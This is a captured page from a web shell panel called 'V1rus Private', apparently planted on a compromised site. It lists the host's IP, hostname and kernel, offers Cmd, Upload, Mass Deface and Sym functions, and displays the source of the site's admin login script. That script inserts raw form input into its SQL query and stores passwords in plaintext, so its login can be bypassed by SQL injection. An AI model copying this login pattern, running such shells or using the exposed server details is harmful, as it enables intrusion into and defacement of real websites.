V1rus Private
User / IP
:
216.73.217.108
Host / Server
:
190.92.174.125 / aerosofthealthcare.com
System
:
Linux s3739.bom1.stableserver.net 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
Cmd
|
Upload
|
Mass Deface
|
Create
|
Sym
:
/
home9
/
aerosoft
/
www
/
dashboard
/
Viewing: index.php
<?php session_start(); include("include/connection.php"); $msg=""; $username=""; $password=""; if(isset($_POST["submit"])) { $uname=$_POST['username']; $pass=$_POST['password']; if (strlen(trim($uname))=="") { $msg="Enter correct username"; } elseif(strlen(trim($pass))=="") { $msg="Enter correct password"; } else { //$pwd = md5($pass); $sql="SELECT * FROM admin WHERE username='$uname' && password='$pass'"; $res = $db -> query($sql); if($res -> num_rows > 0) { $row = $res -> fetch_assoc(); $user_id= $row['id']; $_SESSION['admin']=$uname; $_SESSION['user_id']=$user_id; header('location:dashboard.php'); exit; } else { $msg="Invalid username and password"; } } } ?> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <title>Login</title> <link href="css/bootstrap.min.css" rel="stylesheet"> <link href="css/style.css" rel="stylesheet"> </head> <body> <div class="container" style="margin-top:120px;"> <div class="col-lg-6 col-lg-offset-3"> <div class="box"> <div class="box-header"> <h4 class="box-title"><b>Secure Login</b></h4> </div> <div class="box-p"> <div class="alert-wrapper"> <?php if($msg!=""){ ?> <div class="alert alert-danger"> <?php echo $msg;?> </div> <?php } ?> </div> <form action="" class="form-horizontal" method="post" accept-charset="utf-8"> <div class="form-group"> <label class="col-lg-3 control-label" for="username">Username:</label> <div class="col-lg-6"> <input type="text" name="username" value="" placeholder="Username" class="form-control input-sm"/> </div> </div> <div class="form-group"> <label class="col-lg-3 control-label" for="password">Password:</label> <div class="col-lg-6"> <input type="password" name="password" placeholder="Password" class="form-control input-sm" value=""/> </div> </div> <div class="form-group"> <div class="col-lg-6 col-lg-offset-3"> <input type="hidden" value="Login" name="submit" /> <button class="btn btn-primary btn-sm"><i class="fa fa-lock"></i> Login</button> </div> </div> <input type="hidden" value="" name="redirect"/> <input type="hidden" value="submitted" name="submitted"/> </form> </div> <div class="box-bt box-p"> <a href="forgot.php">Forgot Password</a> <a href="http://yogeshwarmahtobatul.com/" class="pull-right">Back to Website</a> </div> </div> </div> </div> </div> <div class="footer text-center" style="position: fixed; bottom: 0; width: 100%;"> Copyright © 2018. Version 1.1 </div> </body> </html>
Coded With 💗 by
HanzOFC